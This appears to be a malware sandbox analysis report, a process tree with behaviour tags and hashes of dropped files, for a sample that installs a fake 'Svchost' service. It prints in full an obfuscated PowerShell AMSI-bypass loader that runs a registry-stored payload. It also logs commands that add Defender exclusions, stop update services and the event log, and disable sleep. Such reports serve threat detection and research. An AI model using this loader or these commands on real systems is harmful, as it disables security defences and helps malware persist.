C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2204
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-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FjmOpcYwfsqd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OOWPtOvwUWsXIP,[Parameter(Position=1)][Type]$RjdbPugicP)$GHRxIStSOZn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+'e'+''+[Char](99)+''+'t'+'e'+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+'y'+''+'M'+''+[Char](111)+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+'y'+''+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+'P'+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+'ea'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$GHRxIStSOZn.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+'i'+'a'+[Char](108)+'N'+'a'+''+[Char](109)+''+[Char](101)+',H'+'i'+'d'+'e'+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+'g'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OOWPtOvwUWsXIP).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+''+[Char](110)+'a'+[Char](103)+''+'e'+''+'d'+'');$GHRxIStSOZn.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+'lic,'+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+'g,'+[Char](78)+'ew'+[Char](83)+''+'l'+''+[Char](111)+'t,'+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$RjdbPugicP,$OOWPtOvwUWsXIP).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $GHRxIStSOZn.CreateType();}$LzFuWPiSIstHm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ystem'+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+'o'+[Char](102)+'t'+'.'+'W'+'i'+''+'n'+'3'+'2'+''+[Char](46)+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+'a'+'t'+[Char](105)+''+'v'+'eM'+[Char](101)+'t'+'h'+''+[Char](111)+''+'d'+''+[Char](115)+'');$anVXYorgtxUdhR=$LzFuWPiSIstHm.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+'r'+'o'+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WOpDStWARCsaRXDWtrv=FjmOpcYwfsqd @([String])([IntPtr]);$SHohagehJaVynIgQnpNqUA=FjmOpcYwfsqd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VlcfNcRLAyl=$LzFuWPiSIstHm.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+''+'n'+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+[Char](101)+'l'+'3'+''+[Char](50)+''+'.'+'dl'+'l'+'')));$HXWHELEjcwKahC=$anVXYorgtxUdhR.Invoke($Null,@([Object]$VlcfNcRLAyl,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$UcFGZbbDTJoWjXiek=$anVXYorgtxUdhR.Invoke($Null,@([Object]$VlcfNcRLAyl,[Object](''+'V'+''+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+''+'t'+''+'e'+'c'+'t'+'')));$ZgkFAcU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HXWHELEjcwKahC,$WOpDStWARCsaRXDWtrv).Invoke('ams'+[Char](105)+''+'.'+'d'+'l'+'l');$nfKmqZViIwlRkNrIk=$anVXYorgtxUdhR.Invoke($Null,@([Object]$ZgkFAcU,[Object]('A'+'m'+''+[Char](115)+'i'+'S'+''+'c'+'a'+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$hLJrSeitmd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UcFGZbbDTJoWjXiek,$SHohagehJaVynIgQnpNqUA).Invoke($nfKmqZViIwlRkNrIk,[uint32]8,4,[ref]$hLJrSeitmd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$nfKmqZViIwlRkNrIk,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UcFGZbbDTJoWjXiek,$SHohagehJaVynIgQnpNqUA).Invoke($nfKmqZViIwlRkNrIk,[uint32]8,0x20,[ref]$hLJrSeitmd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'TWARE').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+'r'+''+[Char](115)+'t'+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1320
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3060
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1500
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1656
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1792
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1876
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1888
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2000
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2136
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2548
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2224
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3080
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3248 -
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1448
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:5472 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:4836
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:3732
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4676
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:4888
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:4896
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:4252
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:436
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2652
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2964
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2320
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:5108
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Svchost"3⤵
- Launches sc.exe
PID:1148
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Svchost" binpath= "C:\ProgramData\Svchost.exe" start= "auto"3⤵
- Launches sc.exe
PID:660
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:2316
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "Svchost"3⤵
- Launches sc.exe
PID:2464 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3416
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3444
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3788
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3880
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4004
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4200
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:6108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:3156
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5716
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:5684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5840
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3688
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C:\ProgramData\Svchost.exeC:\ProgramData\Svchost.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2196 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4256 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3492
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:572
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3772
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:6048
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:5940 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3296
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4964
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3244
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3676
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3108
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3868 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5700
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4988 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4640
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3512 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2492
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3944
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:2668
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:4636
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3900
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\Svchost.exe
- Size 8.3MB
- SHA256 8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2
- MD5 02b214a1c45453a01667d3622b961568
- SHA1 6eae827670053cd6f4b5e60385099fc0313b6afe
- SHA512 c6f23ca610a64120d28c68b5823e73a99cfe02792633c9cdbc37814b00c8c6d64683408542f5e9d0dae8d79bd76ec35b1ba5365edcb5b567c3191dd50e55fd86
- SSDEEP 196608:GPX57oMXckusS9NmKFrjg/TTTk3RPz/DgTXDvfkeRLkiJjc42:Gf5/5u9XQTY3hebY6jf
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ibfy5isy.iqg.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 836B
- SHA256 7ff9e7cd96a4954108e0f872fc2958ace6016da0a5e9ce4eb60979df0fb1f341
- MD5 28726012943c80d2c0f84fc6724c863c
- SHA1 3ba53dc17084d4b7a093d617a5ee833f4fccff6a
- SHA512 2d95322601271c650a184bcac8815d3059469da37575245cbf32de99fe785b171fa73a024d3346f51d131cdaeccfd3c0b09e733c00250c285858d7ccf1128b6f
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 f935809085e90f8fc2c003afb46e81de28f3312ec097cf46f2bdc2488cb893e7
- MD5 f2dd68ab8e611f0143c6ad176f223ae9
- SHA1 30f580175773f251a9572fe757de6eaef6844abc
- SHA512 f664b850c2fc6773e48171be5c180d8bc5c3a27945f5e6604605006a3c93e0bf3a516b647d6411a4d6b75bdf0a5e15b4f3621bf5702bbc3c46f9b517cb69dd04
- MD5 SHA1 SHA512